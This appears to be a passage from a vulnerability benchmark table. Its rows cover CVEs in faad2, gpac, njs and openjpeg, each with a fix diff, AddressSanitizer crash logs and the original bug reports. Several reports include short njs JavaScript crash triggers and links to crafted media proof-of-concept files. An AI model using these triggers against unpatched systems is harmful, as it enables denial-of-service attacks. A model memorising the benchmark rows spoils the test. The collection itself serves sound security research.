bug tracking: https://sourceforge.net/p/faac/bugs/
Floating point version
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License.
**************************************************************************
faad_res/005-null-point-ic_predict_96 file info:
ADTS, 0.021 sec, 219 kbps, 96000 Hz
---------------------
| Config: 2 Ch |
---------------------
| Ch | Position |
---------------------
| 00 | Center front |
| 01 | Center back |
---------------------
ASAN:SIGSEGVfaad_res/005-null-point-ic_predict_96.
=================================================================
==7073==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f440069b99e bp 0x7ffe0d2d4b70 sp 0x7ffe0d2d49f0 T0)
#0 0x7f440069b99d in ic_predict /root/faad2_asan/libfaad/ic_predict.c:96
#1 0x7f440069cbc0 in ic_prediction /root/faad2_asan/libfaad/ic_predict.c:252
#2 0x7f44006d0a14 in reconstruct_channel_pair /root/faad2_asan/libfaad/specrec.c:1189
#3 0x7f44006d8823 in channel_pair_element /root/faad2_asan/libfaad/syntax.c:759
#4 0x7f44006d6cbf in decode_cpe /root/faad2_asan/libfaad/syntax.c:402
#5 0x7f44006d7398 in raw_data_block /root/faad2_asan/libfaad/syntax.c:448
#6 0x7f44006919c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990
#7 0x7f4400691566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821
#8 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679
#9 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323
#10 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366
#11 0x7f44002c982f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#12 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/faad2_asan/libfaad/ic_predict.c:96 ic_predict
==7073==ABORTING
```
POC FILE:https://github.com/fantasy7082/image_test/blob/master/005-null-point-ic_predict_96
---
Comment #1 by nluedtke:
This was assigned [CVE-2018-20195](https://nvd.nist.gov/vuln/detail/CVE-2018-20195).
---
Comment #2 by hlef:
Not reproducible on master anymore, fixed by 466b01d504d7e45f1e9169ac90b3e34ab94aed14.
This is the same issue as #26, different path, so this can be closed.
---
Comment #3 by fabiangreffrath:
It's a pleasure. | https://nvd.nist.gov/vuln/detail/CVE-2018-20195 | ||||
gpac.cve-2024-0322 | Out-of-bounds Read in GitHub repository gpac/gpac prior to 2.3-DEV. | https://huntr.com/bounties/87611fc9-ed7c-43e9-8e52-d83cd270bbec | https://github.com/gpac/gpac/commit/092904b80edbc4dce315684a59cc3184c45c1b70 | CWE-125 | gpac/gpac | 092904b80edbc4dce315684a59cc3184c45c1b70~1 | diff --git a/src/filters/reframe_ac3.c b/src/filters/reframe_ac3.c
index 7b6452ed76..a73455978d 100644
--- a/src/filters/reframe_ac3.c
+++ b/src/filters/reframe_ac3.c
@@ -480,12 +480,11 @@ GF_Err ac3dmx_process(GF_Filter *filter)
cts = GF_FILTER_NO_TS;
}
- if (!ctx->in_seek && remain >= ctx->hdr.framesize) {
+ if (!ctx->in_seek && remain >= sync_pos + ctx->hdr.framesize) {
dst_pck = gf_filter_pck_new_alloc(ctx->opid, ctx->hdr.framesize, &output);
if (!dst_pck) return GF_OUT_OF_MEM;
if (ctx->src_pck) gf_filter_pck_merge_properties(ctx->src_pck, dst_pck);
-
memcpy(output, sync, ctx->hdr.framesize);
gf_filter_pck_set_dts(dst_pck, ctx->cts);
gf_filter_pck_set_cts(dst_pck, ctx->cts);
| ASan (inferred) | https://nvd.nist.gov/vuln/detail/CVE-2024-0322 | |||
njs.cve-2023-27728 | Nginx NJS v0.7.10 was discovered to contain a segmentation violation via the function njs_dump_is_recursive at src/njs_vmcode.c. | https://github.com/nginx/njs/issues/618 | https://github.com/nginx/njs/issues/618 | CWE-125 | nginx/njs | https://github.com/nginx/njs/issues/618 | ==31165==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000022 (pc 0x00000053426f bp 0x7ffef5d7b170 sp 0x7ffef5d7a3e0 T0)
==31165==The signal is caused by a READ memory access.
==31165==Hint: address points to the zero page.
#0 0x53426f in njs_dump_is_recursive /root/njs/src/njs_json.c
#1 0x53426f in njs_vm_value_dump /root/njs/src/njs_json.c:2113:13
#2 0x4e0374 in njs_vm_retval_dump /root/njs/src/njs_vm.c:1004:12
#3 0x4c984b in njs_console_output /root/njs/src/njs_shell.c:885:13
#4 0x4cd050 in njs_process_output /root/njs/src/njs_shell.c:1010:9
#5 0x4cad81 in njs_process_script /root/njs/src/njs_shell.c:960:5
#6 0x4cb556 in njs_process_file /root/njs/src/njs_shell.c:678:11
#7 0x4c94be in main /root/njs/src/njs_shell.c:335:15
#8 0x7f1864672c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#9 0x41f1d9 in _start (/root/njs/build/njs+0x41f1d9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/njs/src/njs_json.c in njs_dump_is_recursive | === https://github.com/nginx/njs/issues/618 ===
Title: SEGV src/njs_json.c in njs_dump_is_recursive
---
Body:
Environment
```
commit: 4c1e23326e1c30e4e051bf588bfc1aaa63954976
version: 0.7.10
Build :
./configure --cc=clang --address-sanitizer=YES
make
```
Poc
```js
Object.defineProperty([], 'a', { configurable: true, enumerable: true, get: Object});
```
Asan
```
==31165==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000022 (pc 0x00000053426f bp 0x7ffef5d7b170 sp 0x7ffef5d7a3e0 T0)
==31165==The signal is caused by a READ memory access.
==31165==Hint: address points to the zero page.
#0 0x53426f in njs_dump_is_recursive /root/njs/src/njs_json.c
#1 0x53426f in njs_vm_value_dump /root/njs/src/njs_json.c:2113:13
#2 0x4e0374 in njs_vm_retval_dump /root/njs/src/njs_vm.c:1004:12
#3 0x4c984b in njs_console_output /root/njs/src/njs_shell.c:885:13
#4 0x4cd050 in njs_process_output /root/njs/src/njs_shell.c:1010:9
#5 0x4cad81 in njs_process_script /root/njs/src/njs_shell.c:960:5
#6 0x4cb556 in njs_process_file /root/njs/src/njs_shell.c:678:11
#7 0x4c94be in main /root/njs/src/njs_shell.c:335:15
#8 0x7f1864672c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#9 0x41f1d9 in _start (/root/njs/build/njs+0x41f1d9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/njs/src/njs_json.c in njs_dump_is_recursive
```
| https://nvd.nist.gov/vuln/detail/CVE-2023-27728 | |||
openjpeg.cve-2016-7445 | convert.c in OpenJPEG before 2.1.2 allows remote attackers to cause a denial of service (NULL pointer dereference and application crash) via vectors involving the variable s. | http://www.openwall.com/lists/oss-security/2016/09/18/4 | https://github.com/uclouvain/openjpeg/issues/843 | CWE-476 | uclouvain/openjpeg | https://github.com/uclouvain/openjpeg/issues/843 | ==7358==ERROR: AddressSanitizer: SEGV on unknown address 0x00000000 (pc 0x0815d204 bp 0xff846938 sp 0xff846380 T0)
#0 0x815d203 in skip_white /home/starlab/fuzzing/openjpeg/src/bin/jp2/convert.c:1331
#1 0x8135d81 in main /home/starlab/fuzzing/openjpeg/src/bin/jp2/opj_compress.c:1723
#2 0xf7343636 in __libc_start_main ??:?
#3 0x807a31b in _start ??:? | === https://github.com/uclouvain/openjpeg/issues/843 ===
Title: null ptr dereference in convert.c:1331
---
Body:
# Vulnerability
openjpeg null ptr dereference in convert.c:1331
# Version
git head version ( https://github.com/uclouvain/openjpeg/ )
# Address Sanitizer Output
# ASAN:SIGSEGV
==7358==ERROR: AddressSanitizer: SEGV on unknown address 0x00000000 (pc 0x0815d204 bp 0xff846938 sp 0xff846380 T0)
#0 0x815d203 in skip_white /home/starlab/fuzzing/openjpeg/src/bin/jp2/convert.c:1331
#1 0x8135d81 in main /home/starlab/fuzzing/openjpeg/src/bin/jp2/opj_compress.c:1723
#2 0xf7343636 in __libc_start_main ??:?
#3 0x807a31b in _start ??:?
# PoC
See poc.ppm
# Analysis
In convert.c:1483 and convert.c:1485, variable s is uncheck after skip_int is called.
A null ptr will be passed to skip_int again and will cause a null ptr dereference.
# Report Timeline
2016-09-16: FB3F15 of STARLAB discovered this issue
# Credit
FB3F15 of STARLAB
# PoC
Contact us if you need PoC file
---
Comment #1 by szukw000:
@STARLABSEC ,
can you upload that file or give a link to that file?
winfried
---
Comment #2 by STARLABSEC:
@szukw000
https://github.com/STARLABSEC/pocs/raw/master/openjpeg-nullptr-github-issue-842.ppm
---
Comment #3 by szukw000:
@STARLABSEC,
did you yourself change the PPM file? Or did OpenJPEG-2.0.0 create that file?
The ppm.dif shows the bug.
After changing 'convert.c' I got the message:
bin/opj_compress -i openjpeg-nullptr-github-issue-842.ppm -o out.j2k
convert.c:1586:OK(0) width(255) height(0) depth(0)
Unable to load pnm file
The respective patch should be applied.
winfried
[openjpeg-nullptr-github-issue-842.ppm-dif.txt](https://github.com/uclouvain/openjpeg/files/478630/openjpeg-nullptr-github-issue-842.ppm-dif.txt)
---
Comment #4 by STARLABSEC:
@szukw000
We created it by ourselves.
The patch is ok, please apply it.
---
Comment #5 by szukw000:
@stweil ,
the patch is applied. I failed to create a github patch.
winfried
[fixpnmtoimage_dif.txt](https://github.com/uclouvain/openjpeg/files/478694/fixpnmtoimage_dif.txt)
---
Comment #6 by mayeut:
@STARLABSEC Thanks fix committed.
---
Comment #7 by fgeek:
CVE-2016-7445 was assigned for this issue in https://www.openwall.com/lists/oss-security/2016/09/18/6 | https://nvd.nist.gov/vuln/detail/CVE-2016-7445 | |||
faad2.cve-2021-32272 | An issue was discovered in faad2 before 2.10.0. A heap-buffer-overflow exists in the function stszin located in mp4read.c. It allows an attacker to cause Code Execution. | https://github.com/knik0/faad2/issues/57 | https://github.com/knik0/faad2/commit/1b71a6ba963d131375f5e489b3b25e36f19f3f24 | CWE-787 | knik0/faad2 | 1b71a6ba963d131375f5e489b3b25e36f19f3f24~1 | diff --git a/frontend/mp4read.c b/frontend/mp4read.c
index 14146843..6a618d33 100644
--- a/frontend/mp4read.c
+++ b/frontend/mp4read.c
@@ -344,7 +344,10 @@ static int stszin(int size)
u32in();
// Number of entries
mp4config.frame.ents = u32in();
- // fixme: check atom size
+
+ if (!(mp4config.frame.ents + 1))
+ return ERR_FAIL;
+
mp4config.frame.data = malloc(sizeof(*mp4config.frame.data)
* (mp4config.frame.ents + 1));
| https://github.com/knik0/faad2/issues/57 | *********** Ahead Software MPEG-4 AAC Decoder V2.9.2 ******************
Build: Aug 30 2020
Copyright 2002-2004: Ahead Software AG
http://www.audiocoding.com
bug tracking: https://sourceforge.net/p/faac/bugs/
Floating point version
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License.
**************************************************************************
**** MP4 header ****
Brand: isom(version 512)
Compatible brands: isomiso2mp41
*track media type: 'soun': OK
=================================================================
==36828==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000010 at pc 0x00000051eaca bp 0x7ffe7db7e7f0 sp 0x7ffe7db7e7e8
WRITE of size 4 at 0x602000000010 thread T0
#0 0x51eac9 in stszin /home/seviezhou/faad2/frontend/mp4read.c:355:29
#1 0x517c4d in parse /home/seviezhou/faad2/frontend/mp4read.c:766:19
#2 0x517ec2 in parse /home/seviezhou/faad2/frontend/mp4read.c:790:24
#3 0x517ec2 in parse /home/seviezhou/faad2/frontend/mp4read.c:790:24
#4 0x517ec2 in parse /home/seviezhou/faad2/frontend/mp4read.c:790:24
#5 0x517ec2 in parse /home/seviezhou/faad2/frontend/mp4read.c:790:24
#6 0x518cf8 in moovin /home/seviezhou/faad2/frontend/mp4read.c:867:15
#7 0x517c4d in parse /home/seviezhou/faad2/frontend/mp4read.c:766:19
#8 0x5169a5 in mp4read_open /home/seviezhou/faad2/frontend/mp4read.c:1005:16
#9 0x52de44 in decodeMP4file /home/seviezhou/faad2/frontend/main.c:830:9
#10 0x52de44 in faad_main /home/seviezhou/faad2/frontend/main.c:1323
#11 0x7f92a07fc83f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291
#12 0x41a698 in _start (/home/seviezhou/faad2/frontend/faad+0x41a698)
0x602000000011 is located 0 bytes to the right of 1-byte region [0x602000000010,0x602000000011)
allocated by thread T0 here:
#0 0x4de8a8 in __interceptor_malloc /home/seviezhou/llvm-6.0.0/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:88
#1 0x51e387 in stszin /home/seviezhou/faad2/frontend/mp4read.c:348:28
#2 0x517c4d in parse /home/seviezhou/faad2/frontend/mp4read.c:766:19
#3 0x517ec2 in parse /home/seviezhou/faad2/frontend/mp4read.c:790:24
#4 0x517ec2 in parse /home/seviezhou/faad2/frontend/mp4read.c:790:24
#5 0x517ec2 in parse /home/seviezhou/faad2/frontend/mp4read.c:790:24
#6 0x517ec2 in parse /home/seviezhou/faad2/frontend/mp4read.c:790:24
#7 0x518cf8 in moovin /home/seviezhou/faad2/frontend/mp4read.c:867:15
#8 0x517c4d in parse /home/seviezhou/faad2/frontend/mp4read.c:766:19
#9 0x5169a5 in mp4read_open /home/seviezhou/faad2/frontend/mp4read.c:1005:16
#10 0x52de44 in decodeMP4file /home/seviezhou/faad2/frontend/main.c:830:9
#11 0x52de44 in faad_main /home/seviezhou/faad2/frontend/main.c:1323
#12 0x7f92a07fc83f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/seviezhou/faad2/frontend/mp4read.c:355:29 in stszin
Shadow bytes around the buggy address:
0x0c047fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c047fff8000: fa fa[01]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==36828==ABORTING | ASan (inferred) | === https://github.com/knik0/faad2/issues/57 ===
Title: A heap-buffer-overflow in mp4read.c:355:29
---
Body:
## System info
Ubuntu x86_64, clang 6.0, faad (latest master [1073ae](https://github.com/knik0/faad2/commit/1073aeef823cafd844704389e9a497c257768e2f))
## Configure
CFLAGS="-g -fsanitize=address" LDFLAGS="-fsanitize=address" ./configure --enable-shared=no
## Command line
./frontend/faad -w -b 5 @@
## AddressSanitizer output
```
*********** Ahead Software MPEG-4 AAC Decoder V2.9.2 ******************
Build: Aug 30 2020
Copyright 2002-2004: Ahead Software AG
http://www.audiocoding.com
bug tracking: https://sourceforge.net/p/faac/bugs/
Floating point version
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License.
**************************************************************************
**** MP4 header ****
Brand: isom(version 512)
Compatible brands: isomiso2mp41
*track media type: 'soun': OK
=================================================================
==36828==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000010 at pc 0x00000051eaca bp 0x7ffe7db7e7f0 sp 0x7ffe7db7e7e8
WRITE of size 4 at 0x602000000010 thread T0
#0 0x51eac9 in stszin /home/seviezhou/faad2/frontend/mp4read.c:355:29
#1 0x517c4d in parse /home/seviezhou/faad2/frontend/mp4read.c:766:19
#2 0x517ec2 in parse /home/seviezhou/faad2/frontend/mp4read.c:790:24
#3 0x517ec2 in parse /home/seviezhou/faad2/frontend/mp4read.c:790:24
#4 0x517ec2 in parse /home/seviezhou/faad2/frontend/mp4read.c:790:24
#5 0x517ec2 in parse /home/seviezhou/faad2/frontend/mp4read.c:790:24
#6 0x518cf8 in moovin /home/seviezhou/faad2/frontend/mp4read.c:867:15
#7 0x517c4d in parse /home/seviezhou/faad2/frontend/mp4read.c:766:19
#8 0x5169a5 in mp4read_open /home/seviezhou/faad2/frontend/mp4read.c:1005:16
#9 0x52de44 in decodeMP4file /home/seviezhou/faad2/frontend/main.c:830:9
#10 0x52de44 in faad_main /home/seviezhou/faad2/frontend/main.c:1323
#11 0x7f92a07fc83f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291
#12 0x41a698 in _start (/home/seviezhou/faad2/frontend/faad+0x41a698)
0x602000000011 is located 0 bytes to the right of 1-byte region [0x602000000010,0x602000000011)
allocated by thread T0 here:
#0 0x4de8a8 in __interceptor_malloc /home/seviezhou/llvm-6.0.0/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:88
#1 0x51e387 in stszin /home/seviezhou/faad2/frontend/mp4read.c:348:28
#2 0x517c4d in parse /home/seviezhou/faad2/frontend/mp4read.c:766:19
#3 0x517ec2 in parse /home/seviezhou/faad2/frontend/mp4read.c:790:24
#4 0x517ec2 in parse /home/seviezhou/faad2/frontend/mp4read.c:790:24
#5 0x517ec2 in parse /home/seviezhou/faad2/frontend/mp4read.c:790:24
#6 0x517ec2 in parse /home/seviezhou/faad2/frontend/mp4read.c:790:24
#7 0x518cf8 in moovin /home/seviezhou/faad2/frontend/mp4read.c:867:15
#8 0x517c4d in parse /home/seviezhou/faad2/frontend/mp4read.c:766:19
#9 0x5169a5 in mp4read_open /home/seviezhou/faad2/frontend/mp4read.c:1005:16
#10 0x52de44 in decodeMP4file /home/seviezhou/faad2/frontend/main.c:830:9
#11 0x52de44 in faad_main /home/seviezhou/faad2/frontend/main.c:1323
#12 0x7f92a07fc83f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/seviezhou/faad2/frontend/mp4read.c:355:29 in stszin
Shadow bytes around the buggy address:
0x0c047fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c047fff8000: fa fa[01]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==36828==ABORTING
```
## POC
[heap-overflow-stszin-mp4read-355.zip](https://github.com/knik0/faad2/files/5147022/heap-overflow-stszin-mp4read-355.zip)
| https://nvd.nist.gov/vuln/detail/CVE-2021-32272 |
njs.cve-2022-31306 | Nginx NJS v0.7.2 was discovered to contain a segmentation violation in the function njs_array_convert_to_slow_array at src/njs_array.c. | https://github.com/nginx/njs/issues/481 | https://github.com/nginx/njs/commit/81af26364c21c196dd21fb5e14c7fa9ce7debd17 | CWE-416 | nginx/njs | 81af26364c21c196dd21fb5e14c7fa9ce7debd17~1 | diff --git a/src/njs_array.c b/src/njs_array.c
index ec3a5da93..2367420dc 100644
--- a/src/njs_array.c
+++ b/src/njs_array.c
@@ -142,6 +142,10 @@ njs_array_convert_to_slow_array(njs_vm_t *vm, njs_array_t *array)
njs_value_t index, value;
njs_object_prop_t *prop;
+ if (njs_slow_path(!array->object.fast_array)) {
+ return NJS_OK;
+ }
+
njs_set_array(&value, array);
array->object.fast_array = 0;
diff --git a/src/test/njs_unit_test.c b/src/test/njs_unit_test.c
index 87d8d46c0..77ec044e1 100644
--- a/src/test/njs_unit_test.c
+++ b/src/test/njs_unit_test.c
@@ -13837,6 +13837,16 @@ static njs_unit_test_t njs_test[] =
"d.enumerable && d.writable && d.configurable"),
njs_str("true") },
+ { njs_str("const arr = [1,2];"
+ "function f(arg) {"
+ " const desc = {get: arg};"
+ " Object.defineProperty(desc, 'set', desc);"
+ " Object.defineProperty(arr, 1, desc);"
+ "}"
+ "f(f);"
+ "njs.dump(arr)"),
+ njs_str("[1,'[Getter]']") },
+
{ njs_str("Object.defineProperties()"),
njs_str("TypeError: Object.defineProperties is called on non-object") },
| https://github.com/nginx/njs/issues/481 | AddressSanitizer:DEADLYSIGNAL
=================================================================
==732125==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000051dc3a bp 0x7ffde9d83b90 sp 0x7ffde9d83a80 T0)
==732125==The signal is caused by a READ memory access.
==732125==Hint: address points to the zero page.
#0 0x51dc3a in njs_array_convert_to_slow_array /home/q1iq/Documents/origin/njs_f65981b/src/njs_array.c:151:13
#1 0x5185e7 in njs_object_prop_define /home/q1iq/Documents/origin/njs_f65981b/src/njs_object_prop.c:288:19
#2 0x51466c in njs_object_define_property /home/q1iq/Documents/origin/njs_f65981b/src/njs_object.c:1268:11
#3 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11
#4 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
#5 0x53be8a in njs_function_lambda_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:703:11
#6 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
#7 0x53be8a in njs_function_lambda_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:703:11
#8 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
#9 0x4df06a in njs_vm_start /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:553:11
#10 0x4c7f69 in njs_process_script /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:890:19
#11 0x4c73a1 in njs_process_file /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:619:11
#12 0x4c73a1 in main /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:303:15
#13 0x7f70d74f10b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#14 0x41dabd in _start (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x41dabd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs_f65981b/src/njs_array.c:151:13 in njs_array_convert_to_slow_array
==732125==ABORTING | === https://github.com/nginx/njs/issues/481 ===
Title: SEGV njs_array.c:151:13 in njs_array_convert_to_slow_array
---
Body:
### Environment
```
OS : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Commit : f65981b0b8fcf02d69a40bc934803c25c9f607ab
Version : 0.7.2
Build :
NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"
```
### Proof of concept
```
function main() {
const a3 = [42881,0];
function a5(a6,a7) {
const a8 = {"get":a7,"set":a7};
const a11 = {"get":a7};
const a12 = Object.defineProperty(a8,"set",a11);
const a13 = Object.defineProperty(a3,1,a8);
}
const a14 = a5(RangeError,a5);
}
main();
```
### Stack dump
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==732125==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000051dc3a bp 0x7ffde9d83b90 sp 0x7ffde9d83a80 T0)
==732125==The signal is caused by a READ memory access.
==732125==Hint: address points to the zero page.
#0 0x51dc3a in njs_array_convert_to_slow_array /home/q1iq/Documents/origin/njs_f65981b/src/njs_array.c:151:13
#1 0x5185e7 in njs_object_prop_define /home/q1iq/Documents/origin/njs_f65981b/src/njs_object_prop.c:288:19
#2 0x51466c in njs_object_define_property /home/q1iq/Documents/origin/njs_f65981b/src/njs_object.c:1268:11
#3 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11
#4 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
#5 0x53be8a in njs_function_lambda_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:703:11
#6 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
#7 0x53be8a in njs_function_lambda_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:703:11
#8 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
#9 0x4df06a in njs_vm_start /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:553:11
#10 0x4c7f69 in njs_process_script /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:890:19
#11 0x4c73a1 in njs_process_file /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:619:11
#12 0x4c73a1 in main /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:303:15
#13 0x7f70d74f10b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#14 0x41dabd in _start (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x41dabd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs_f65981b/src/njs_array.c:151:13 in njs_array_convert_to_slow_array
==732125==ABORTING
```
### Credit
Q1IQ(@Q1IQ) | https://nvd.nist.gov/vuln/detail/CVE-2022-31306 | |
gpac.cve-2023-0770 | Stack-based Buffer Overflow in GitHub repository gpac/gpac prior to 2.2. | https://huntr.dev/bounties/e0fdeee5-7909-446e-9bd0-db80fd80e8dd | https://github.com/gpac/gpac/commit/c31941822ee275a35bc148382bafef1c53ec1c26, https://huntr.dev/bounties/e0fdeee5-7909-446e-9bd0-db80fd80e8dd | CWE-121, CWE-787 | gpac/gpac | c31941822ee275a35bc148382bafef1c53ec1c26~1 | diff --git a/src/scenegraph/vrml_proto.c b/src/scenegraph/vrml_proto.c
index df30ed0dfa..02b92b5769 100644
--- a/src/scenegraph/vrml_proto.c
+++ b/src/scenegraph/vrml_proto.c
@@ -1292,7 +1292,10 @@ Bool gf_sg_proto_field_is_sftime_offset(GF_Node *node, GF_FieldInfo *field)
gf_node_get_field(r->ToNode, r->ToField.fieldIndex, &inf);
/*IS to another proto*/
- if (r->ToNode->sgprivate->tag == TAG_ProtoNode) return gf_sg_proto_field_is_sftime_offset(r->ToNode, &inf);
+ if (r->ToNode->sgprivate->tag == TAG_ProtoNode) {
+ if (r->ToNode==node) continue;
+ return gf_sg_proto_field_is_sftime_offset(r->ToNode, &inf);
+ }
/*IS to a startTime/stopTime field*/
if (!stricmp(inf.name, "startTime") || !stricmp(inf.name, "stopTime")) return 1;
}
| https://huntr.dev/bounties/e0fdeee5-7909-446e-9bd0-db80fd80e8dd | https://nvd.nist.gov/vuln/detail/CVE-2023-0770 | |||
faad2.cve-2018-20361 | An invalid memory address dereference was discovered in the hf_assembly function of libfaad/sbr_hfadj.c in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8. The vulnerability causes a segmentation fault and application crash, which leads to denial of service. | https://github.com/knik0/faad2/issues/30 | CWE-119 | knik0/faad2 | https://github.com/knik0/faad2/issues/30, https://seclists.org/bugtraq/2019/Sep/28 | ==7089==ERROR: AddressSanitizer: SEGV on unknown address 0x0000000030da (pc 0x7f2a44f66a79 bp 0x7ffc06965b70 sp 0x7ffc06965ab0 T0)
#0 0x7f2a44f66a78 in hf_assembly /root/faad2_asan/libfaad/sbr_hfadj.c:1536
#1 0x7f2a44f633b6 in hf_adjustment /root/faad2_asan/libfaad/sbr_hfadj.c:90
#2 0x7f2a44f81725 in sbr_process_channel /root/faad2_asan/libfaad/sbr_dec.c:363
#3 0x7f2a44f837fa in sbrDecodeSingleFramePS /root/faad2_asan/libfaad/sbr_dec.c:637
#4 0x7f2a44f2bb54 in reconstruct_single_channel /root/faad2_asan/libfaad/specrec.c:1071
#5 0x7f2a44f33e28 in single_lfe_channel_element /root/faad2_asan/libfaad/syntax.c:631
